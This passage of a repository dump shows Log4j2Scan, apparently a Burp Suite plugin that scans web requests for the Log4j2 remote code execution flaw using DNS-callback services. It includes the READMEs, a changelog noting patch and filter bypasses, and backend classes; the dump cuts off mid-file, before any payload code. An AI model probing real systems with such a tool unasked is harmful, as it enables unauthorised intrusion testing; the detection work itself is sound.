├── .github
└── workflows
│ └── compile.yml
├── .gitignore
├── LICENSE
├── README-zh_CN.md
├── README.md
├── pom.xml
├── screenshots
├── backends.png
├── ceye_backend.png
├── detected.png
├── fuzz_setting.png
├── godnslog_backend.png
├── poc_setting.png
├── revsuit_dns_backend.png
└── revsuit_rmi_backend.png
└── src
└── main
└── java
└── burp
├── BurpExtender.java
├── Log4j2Issue.java
├── backend
├── IBackend.java
└── platform
│ ├── BurpCollaborator.java
│ ├── Ceye.java
│ ├── DnslogCN.java
│ ├── GoDnslog.java
│ ├── RevSuitDNS.java
│ └── RevSuitRMI.java
├── poc
├── IPOC.java
└── impl
│ ├── POC1.java
│ ├── POC10.java
│ ├── POC11.java
│ ├── POC2.java
│ ├── POC3.java
│ ├── POC4.java
│ ├── POC5.java
│ ├── POC6.java
│ ├── POC7.java
│ ├── POC8.java
│ └── POC9.java
├── scanner
└── Log4j2Scanner.java
├── ui
├── Log4j2ScanUIHandler.java
└── tabs
│ ├── BackendUIHandler.java
│ ├── FuzzUIHandler.java
│ └── POCUIHandler.java
└── utils
├── CheckBoxListItem.java
├── Config.java
├── HttpHeader.java
├── HttpUtils.java
├── ParamReplace.java
├── ScanItem.java
├── SslUtils.java
├── UIUtil.java
└── Utils.java
/.github/workflows/compile.yml:
--------------------------------------------------------------------------------
1 | name: Java CI
2 |
3 | on:
4 | watch:
5 | types: started
6 | push:
7 | branches: [ master ]
8 | pull_request:
9 | branches: [ master ]
10 |
11 | jobs:
12 | build:
13 |
14 | runs-on: ubuntu-latest
15 | if: github.event.repository.owner.id == github.event.sender.id
16 |
17 | steps:
18 | - uses: actions/checkout@v1
19 | - name: Set up JDK 1.8
20 | uses: actions/setup-java@v1
21 | with:
22 | java-version: 1.8
23 | - name: Build with Maven
24 | run: mvn -B package --file pom.xml
25 | - run: mkdir release && cp target/Log4j2Scan-*.jar release
26 | - run: echo "NOW=$(date +'%Y%m%dT%H%M%S')" >> $GITHUB_ENV
27 | - name: Upload artifact
28 | uses: actions/upload-artifact@v1.0.0
29 | with:
30 | # Artifact name
31 | name: Log4j2Scan_${{ env.NOW }}
32 | # Directory containing files to upload
33 | path: release
34 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | /out/
2 | /target
3 | /.idea
4 | /*.iml
5 | dependency-reduced-pom.xml
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README-zh_CN.md:
--------------------------------------------------------------------------------
1 | # Log4j2Scan
2 |
3 | > 本工具无攻击性,仅具有漏洞探测功能,且仅供学习研究自查使用,切勿用于非法用途,由使用该工具产生的一切风险均与本人无关!
4 |
5 | > dnslog.cn由于请求人数过多,时有无法访问接口的问题,若出现无法扫描的情况时,请尝试通过菜单切换dnslog平台。
6 |
7 | [English](./README.md) | 简体中文
8 |
9 | Log4j2 远程代码执行漏洞,BurpSuite被动扫描插件。
10 |
11 | 支持精确提示漏洞参数、漏洞位置,支持多dnslog平台扩展、自动忽略静态文件。
12 |
13 | 支持两种扫描模式:
14 | - EachFuzz - 对每个参数进行单独Fuzz,准确度最高。
15 | - Crazy - 同时对请求中的所有参数进行Fuzz,一个POC将只请求一次,降低网络压力,但是将有几率发生遗漏。
16 |
17 | 漏洞检测暂只支持以下类型
18 | - Url
19 | - Cookie
20 | - Header
21 | - Body(x-www-form-urlencoded、json、xml、multipart)
22 |
23 | # 编译
24 | 需要Maven、JDK 11.0或更高版本。
25 | ```
26 | $ mvn package
27 | ```
28 |
29 | # ChangeLog
30 | ### 2021/12/15
31 | ##### v0.9
32 | 1. 加入[GoDnslog](https://github.com/chennqqi/godnslog)的后端支持,感谢 [@54Pany](https://github.com/54Pany) 。
33 | 2. 加入Fuzz设置界面。
34 | 3. 加入POC设置界面。
35 | 4. 加入 Body(json、xml、multipart) fuzz的支持。
36 | 5. 优化header请求逻辑,降低请求数量。
37 | ### 2021/12/14
38 | ##### v0.8.1
39 | 1. 绕过dnslog.cn的异常访问过滤。
40 | ##### v0.8
41 | 1. 添加dnslog设置界面,支持多dnslog平台实时切换。
42 | 2. 添加 [RevSuit](https://github.com/Li4n0/revsuit/)-DNS 的后端支持。
43 | ### 2021/12/13
44 | ##### v0.7
45 | 1. 加入 [RevSuit](https://github.com/Li4n0/revsuit/)-RMI 的后端支持。
46 | 2. 修复由于域名查询被服务器小写化导致的漏报问题。
47 | ### 2021/12/12
48 | ##### v0.6
49 | 1. 加入静态文件过滤。
50 | 2. 加入多POC支持,共十种poc变种,默认启用POC1~4。
51 | 3. 加入burpcollaborator的dnslog支持,默认使用dnslog.cn。
52 | ### 2021/12/11
53 | ##### v0.5
54 | 1. 加入Header的fuzz功能。
55 | ##### v0.4
56 | 1. 加入RC1补丁的绕过poc。
57 |
58 | # 效果截图
59 |
60 | 
61 |
62 | 
63 |
64 | 
65 |
66 | 
67 |
68 | 
69 |
70 | 
71 |
72 | 
73 |
74 | 
75 |
76 |
77 | # 鸣谢
78 | 插件中部分代码借鉴于以下项目
79 |
80 | https://github.com/pmiaowu/BurpShiroPassiveScan/
81 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Log4j2Scan
2 |
3 | > This tool is only for learning, research and self-examination. It should not be used for illegal purposes. All risks arising from the use of this tool have nothing to do with me!
4 |
5 | > dnslog.cn is unable to access the interface from time to time due to the number of requests. If you are unable to scan, please try change dnslog platform from UI.
6 |
7 | English | [简体中文](./README-zh_CN.md)
8 |
9 | Log4j2 Remote Code Execution Vulnerability, Passive Scan Plugin for BurpSuite.
10 |
11 | Support accurate hint vulnerability parameters, vulnerability location, support multi-dnslog platform extension, automatic ignore static files.
12 |
13 | Vulnerability detection only supports the following types for now
14 | - Url
15 | - Cookie
16 | - Header
17 | - Body(x-www-form-urlencoded, json, xml, multipart)
18 |
19 |
20 | # Build
21 | Maven and JDK 11.0 or later is recommended
22 | ```
23 | $ mvn package
24 | ```
25 |
26 | # ChangeLog
27 | ### 2021/12/15
28 | ##### v0.9
29 | 1. add [GoDnslog](https://github.com/chennqqi/godnslog) backend, thx for [@54Pany](https://github.com/54Pany) .
30 | 2. add fuzz setting ui.
31 | 3. add poc setting ui.
32 | 4. add Body(json, xml, multipart) fuzz.
33 | 5. opt header guess-fuzz logic.
34 | ### 2021/12/14
35 | ##### v0.8.1
36 | 1. bypass dnslog.cn filter.
37 | ##### v0.8
38 | 1. add backend setting panel.
39 | 2. add [RevSuit](https://github.com/Li4n0/revsuit/)-DNS backend.
40 | ### 2021/12/13
41 | ##### v0.7
42 | 1. add [RevSuit](https://github.com/Li4n0/revsuit/)-RMI backend.
43 | 2. fix domain toLowerCase by server can't match issue.
44 | ### 2021/12/12
45 | ##### v0.6
46 | 1. add static-file ignore.
47 | 2. add mulit poc support.
48 | 3. add burpcollaborator dnslog backend,default use dnslog.cn.
49 | ### 2021/12/11
50 | ##### v0.5
51 | 1. add header fuzz.
52 | ##### v0.4
53 | 1. add rc1 patch bypass.
54 |
55 | # Screenshot
56 |
57 | 
58 |
59 | 
60 |
61 | 
62 |
63 | 
64 |
65 | 
66 |
67 | 
68 |
69 | 
70 |
71 | 
72 |
73 |
74 | # Acknowledgements
75 | Some of the code in the plugin is borrowed from the following projects
76 |
77 | https://github.com/pmiaowu/BurpShiroPassiveScan/
78 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | cn.wanghw
8 | Log4j2Scan
9 | 0.10-SNAPSHOT
10 |
11 |
12 |
13 |
14 | org.apache.maven.plugins
15 | maven-shade-plugin
16 |
17 |
18 | package
19 |
20 | shade
21 |
22 |
23 |
24 |
25 |
26 | org.apache.maven.plugins
27 | maven-compiler-plugin
28 |
29 | 8
30 | 8
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | net.portswigger.burp.extender
39 | burp-extender-api
40 | 1.7.22
41 |
42 |
43 |
44 | com.squareup.okhttp3
45 | okhttp
46 | 4.9.3
47 |
48 |
49 |
50 | com.alibaba
51 | fastjson
52 | 1.2.78
53 |
54 |
55 |
--------------------------------------------------------------------------------
/screenshots/backends.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/backends.png
--------------------------------------------------------------------------------
/screenshots/ceye_backend.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/ceye_backend.png
--------------------------------------------------------------------------------
/screenshots/detected.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/detected.png
--------------------------------------------------------------------------------
/screenshots/fuzz_setting.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/fuzz_setting.png
--------------------------------------------------------------------------------
/screenshots/godnslog_backend.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/godnslog_backend.png
--------------------------------------------------------------------------------
/screenshots/poc_setting.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/poc_setting.png
--------------------------------------------------------------------------------
/screenshots/revsuit_dns_backend.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/revsuit_dns_backend.png
--------------------------------------------------------------------------------
/screenshots/revsuit_rmi_backend.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mr-xn/Log4j2Scan/9699ae85eb43afe21eb52da4823c2799fdc1c51f/screenshots/revsuit_rmi_backend.png
--------------------------------------------------------------------------------
/src/main/java/burp/BurpExtender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import burp.scanner.Log4j2Scanner;
4 | import burp.ui.Log4j2ScanUIHandler;
5 | import burp.utils.Utils;
6 |
7 | import java.awt.*;
8 | import java.io.PrintWriter;
9 |
10 | public class BurpExtender implements IBurpExtender, IExtensionStateListener {
11 |
12 | public IExtensionHelpers helpers;
13 | public IBurpExtenderCallbacks callbacks;
14 | public PrintWriter stdout;
15 | public PrintWriter stderr;
16 | public String version = "0.10";
17 | public Log4j2ScanUIHandler uiHandler;
18 | public Log4j2Scanner scanner;
19 |
20 | @Override
21 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
22 | Utils.Callback = this.callbacks = callbacks;
23 | this.helpers = callbacks.getHelpers();
24 | this.stdout = new PrintWriter(callbacks.getStdout(), true);
25 | this.stderr = new PrintWriter(callbacks.getStderr(), true);
26 | callbacks.setExtensionName("Log4j2Scan");
27 | this.stdout.println("Log4j2Scan v" + version);
28 | this.uiHandler = new Log4j2ScanUIHandler(this);
29 | callbacks.addSuiteTab(this.uiHandler);
30 | this.reloadScanner();
31 | callbacks.registerExtensionStateListener(this);
32 | }
33 |
34 | public void reloadScanner() {
35 | if (scanner != null) {
36 | scanner.close();
37 | callbacks.removeScannerCheck(scanner);
38 | }
39 | scanner = new Log4j2Scanner(this);
40 | callbacks.registerScannerCheck(scanner);
41 | }
42 |
43 | @Override
44 | public void extensionUnloaded() {
45 | if (scanner != null) {
46 | scanner.close();
47 | callbacks.removeScannerCheck(scanner);
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/burp/Log4j2Issue.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.net.URL;
4 |
5 | public class Log4j2Issue implements IScanIssue {
6 |
7 | private IHttpService httpService;
8 | private URL url;
9 | private IHttpRequestResponse[] httpMessages;
10 | private String name;
11 | private String detail;
12 | private String severity;
13 |
14 | public Log4j2Issue(
15 | IHttpService httpService,
16 | URL url,
17 | IHttpRequestResponse[] httpMessages,
18 | String name,
19 | String detail,
20 | String severity) {
21 | this.httpService = httpService;
22 | this.url = url;
23 | this.httpMessages = httpMessages;
24 | this.name = name;
25 | this.detail = detail;
26 | this.severity = severity;
27 | }
28 |
29 | @Override
30 | public URL getUrl() {
31 | return url;
32 | }
33 |
34 | @Override
35 | public String getIssueName() {
36 | return name;
37 | }
38 |
39 | @Override
40 | public int getIssueType() {
41 | return 0;
42 | }
43 |
44 | @Override
45 | public String getSeverity() {
46 | return severity;
47 | }
48 |
49 | @Override
50 | public String getConfidence() {
51 | return "Certain";
52 | }
53 |
54 | @Override
55 | public String getIssueBackground() {
56 | return null;
57 | }
58 |
59 | @Override
60 | public String getRemediationBackground() {
61 | return null;
62 | }
63 |
64 | @Override
65 | public String getIssueDetail() {
66 | return detail;
67 | }
68 |
69 | @Override
70 | public String getRemediationDetail() {
71 | return null;
72 | }
73 |
74 | @Override
75 | public IHttpRequestResponse[] getHttpMessages() {
76 | return httpMessages;
77 | }
78 |
79 | @Override
80 | public IHttpService getHttpService() {
81 | return httpService;
82 | }
83 | }
84 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/IBackend.java:
--------------------------------------------------------------------------------
1 | package burp.backend;
2 |
3 | public interface IBackend {
4 | boolean supportBatchCheck();
5 |
6 | String getName();
7 |
8 | String getNewPayload();
9 |
10 | String[] batchCheck(String[] payloads);
11 |
12 | boolean CheckResult(String payload);
13 |
14 | boolean flushCache();
15 |
16 | boolean flushCache(int count);
17 |
18 | boolean getState();
19 |
20 | int[] getSupportedPOCTypes();
21 |
22 | void close();
23 | }
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/BurpCollaborator.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.IBurpCollaboratorClientContext;
4 | import burp.backend.IBackend;
5 | import burp.poc.IPOC;
6 | import burp.utils.Utils;
7 |
8 | public class BurpCollaborator implements IBackend {
9 | IBurpCollaboratorClientContext bcContext;
10 |
11 | public BurpCollaborator() {
12 | bcContext = Utils.Callback.createBurpCollaboratorClientContext();
13 | }
14 |
15 | @Override
16 | public boolean supportBatchCheck() {
17 | return false;
18 | }
19 |
20 | @Override
21 | public String getName() {
22 | return "BurpCollaborator";
23 | }
24 | @Override
25 | public String[] batchCheck(String[] payloads) {
26 | return new String[0];
27 | }
28 | @Override
29 | public String getNewPayload() {
30 | return bcContext.generatePayload(true);
31 | }
32 |
33 | @Override
34 | public boolean CheckResult(String domain) {
35 | return !bcContext.fetchCollaboratorInteractionsFor(domain).isEmpty();
36 | }
37 |
38 | @Override
39 | public boolean flushCache() {
40 | return true;
41 | }
42 |
43 | @Override
44 | public boolean flushCache(int count) {
45 | return flushCache();
46 | }
47 |
48 | @Override
49 | public boolean getState() {
50 | return true;
51 | }
52 |
53 | @Override
54 | public int[] getSupportedPOCTypes() {
55 | return new int[]{IPOC.POC_TYPE_LDAP, IPOC.POC_TYPE_RMI};
56 | }
57 |
58 | @Override
59 | public void close() {
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/Ceye.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.backend.IBackend;
4 | import burp.poc.IPOC;
5 | import burp.utils.Config;
6 | import burp.utils.HttpUtils;
7 | import burp.utils.Utils;
8 | import com.alibaba.fastjson.JSONArray;
9 | import com.alibaba.fastjson.JSONObject;
10 | import okhttp3.OkHttpClient;
11 | import okhttp3.Response;
12 |
13 | import java.util.concurrent.TimeUnit;
14 |
15 |
16 | public class Ceye implements IBackend {
17 | OkHttpClient client = new OkHttpClient().newBuilder().
18 | connectTimeout(3000, TimeUnit.SECONDS).
19 | callTimeout(3000, TimeUnit.SECONDS).build();
20 | String platformUrl = "http://api.ceye.io/";
21 | String rootDomain;
22 | String token;
23 |
24 | public Ceye() {
25 | this.rootDomain = Config.get(Config.CEYE_IDENTIFIER);
26 | this.token = Config.get(Config.CEYE_TOKEN);
27 | }
28 |
29 | @Override
30 | public boolean supportBatchCheck() {
31 | return false;
32 | }
33 | @Override
34 | public String[] batchCheck(String[] payloads) {
35 | return new String[0];
36 | }
37 | @Override
38 | public String getName() {
39 | return "Ceye.io";
40 | }
41 |
42 | @Override
43 | public String getNewPayload() {
44 | return Utils.getCurrentTimeMillis() + Utils.GetRandomString(5).toLowerCase() + "." + rootDomain;
45 | }
46 |
47 | @Override
48 | public boolean CheckResult(String domain) {
49 | try {
50 | Response resp = client.newCall(HttpUtils.GetDefaultRequest(platformUrl + "v1/records?token=" + token + "&type=dns&filter=" + domain.toLowerCase().substring(0, domain.indexOf("."))).build()).execute();
51 | JSONObject jObj = JSONObject.parseObject(resp.body().string().toLowerCase());
52 | if (jObj.containsKey("data")) {
53 | return (((JSONArray) jObj.get("data")).size() > 0);
54 | }
55 | } catch (Exception ex) {
56 | System.out.println(ex);
57 | return false;
58 | }
59 | return false;
60 | }
61 |
62 | @Override
63 | public boolean flushCache(int count) {
64 | return flushCache();
65 | }
66 |
67 | @Override
68 | public boolean flushCache() {
69 | return true;
70 | }
71 |
72 | @Override
73 | public boolean getState() {
74 | return true;
75 | }
76 |
77 | @Override
78 | public void close() {
79 | }
80 |
81 | @Override
82 | public int[] getSupportedPOCTypes() {
83 | return new int[]{IPOC.POC_TYPE_LDAP, IPOC.POC_TYPE_RMI};
84 | }
85 | }
86 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/DnslogCN.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.backend.IBackend;
4 | import burp.poc.IPOC;
5 | import burp.utils.HttpUtils;
6 | import burp.utils.Utils;
7 | import okhttp3.*;
8 |
9 | import java.util.*;
10 | import java.util.concurrent.TimeUnit;
11 |
12 | import static burp.utils.HttpUtils.GetDefaultRequest;
13 |
14 | public class DnslogCN implements IBackend {
15 | OkHttpClient client = new OkHttpClient().newBuilder().cookieJar(new CookieJar() {
16 | private final HashMap> cookieStore = new HashMap<>();
17 |
18 | @Override
19 | public void saveFromResponse(HttpUrl url, List cookies) {
20 | cookieStore.put(url.host(), cookies);
21 | }
22 |
23 | @Override
24 | public List loadForRequest(HttpUrl url) {
25 | List cookies = cookieStore.get(url.host());
26 | return cookies != null ? cookies : new ArrayList();
27 | }
28 | }).connectTimeout(50, TimeUnit.SECONDS).
29 | callTimeout(50, TimeUnit.SECONDS).
30 | readTimeout(3, TimeUnit.MINUTES).build();
31 | String platformUrl = "http://www.dnslog.cn/";
32 | String rootDomain = "";
33 | String dnsLogResultCache = "";
34 | Timer timer = new Timer();
35 |
36 | public DnslogCN() {
37 | this.initDomain();
38 | }
39 |
40 | private void initDomain() {
41 | try {
42 | Utils.Callback.printOutput("get domain...");
43 | Response resp = client.newCall(GetDefaultRequest(platformUrl + "/getdomain.php?t=0." + Math.abs(Utils.getRandomLong())).build()).execute();
44 | rootDomain = resp.body().string();
45 | Utils.Callback.printOutput(String.format("Domain: %s", rootDomain));
46 | startSessionHeartbeat();
47 | } catch (Exception ex) {
48 | Utils.Callback.printError("initDomain failed: " + ex.getMessage());
49 | }
50 | }
51 |
52 | @Override
53 | public boolean supportBatchCheck() {
54 | return false;
55 | }
56 |
57 | private void startSessionHeartbeat() {
58 | timer.schedule(new TimerTask() {
59 | @Override
60 | public void run() {
61 | flushCache();
62 | }
63 | }, 0, 2 * 60 * 1000); //2min
64 | }
65 |
66 | @Override
67 | public void close() {
68 | timer.cancel();
69 | }
70 |
71 | @Override
72 | public String getName() {
73 | return "Dnslog.cn";
74 | }
75 |
76 | @Override
77 | public String getNewPayload() {
78 | return Utils.getCurrentTimeMillis() + Utils.GetRandomString(5) + "." + rootDomain;
79 | }
80 |
81 | public boolean flushCache() {
82 | try {
83 | Response resp = client.newCall(HttpUtils.GetDefaultRequest(platformUrl + "getrecords.php?t=0." + Math.abs(Utils.getRandomLong())).build()).execute();
84 | dnsLogResultCache = resp.body().string().toLowerCase();
85 | Utils.Callback.printOutput(String.format("Got Dnslog Result OK!: %s", dnsLogResultCache));
86 | return true;
87 | } catch (Exception ex) {
88 | Utils.Callback.printOutput(String.format("Get Dnslog Result Failed!: %s", ex.getMessage()));
89 | return false;
90 | }
91 | }
92 |
93 | @Override
94 | public boolean flushCache(int count) {
95 | return flushCache();
96 | }
97 |
98 | @Override
99 | public boolean CheckResult(String domain) {
100 | return dnsLogResultCache.contains(domain.toLowerCase());
101 | }
102 | @Override
103 | public String[] batchCheck(String[] payloads) {
104 | return new String[0];
105 | }
106 | @Override
107 | public boolean getState() {
108 | return rootDomain != "";
109 | }
110 |
111 | @Override
112 | public int[] getSupportedPOCTypes() {
113 | return new int[]{IPOC.POC_TYPE_LDAP, IPOC.POC_TYPE_RMI, IPOC.POC_TYPE_DNS};
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/src/main/java/burp/backend/platform/GoDnslog.java:
--------------------------------------------------------------------------------
1 | package burp.backend.platform;
2 |
3 | import burp.backend.IBackend;
4 | import burp.poc.IPOC;
5 | import burp.utils.Config;
6 | import burp.utils.HttpUtils;
7 | import burp.utils.Utils;
8 | import com.alibaba.fastjson.JSONArray;
9 | import com.alibaba.fastjson.JSONObject;
10 | import okhttp3.OkHttpClient;
11 | import okhttp3.Response;
12 |
13 | import java.math.BigInteger;
14 | import java.util.Map;
15 | import java.util.TreeMap;
16 | import java.util.concurrent.TimeUnit;
17 |
18 |
19 | public class GoDnslog implements IBackend {
20 | OkHttpClient client = new OkHttpClient().newBuilder().
21 | connectTimeout(3000, TimeUnit.SECONDS).
22 | callTimeout(3000, TimeUnit.SECONDS).build();
23 | String rootDomain;
24 | String token;
25 |
26 | public GoDnslog() {
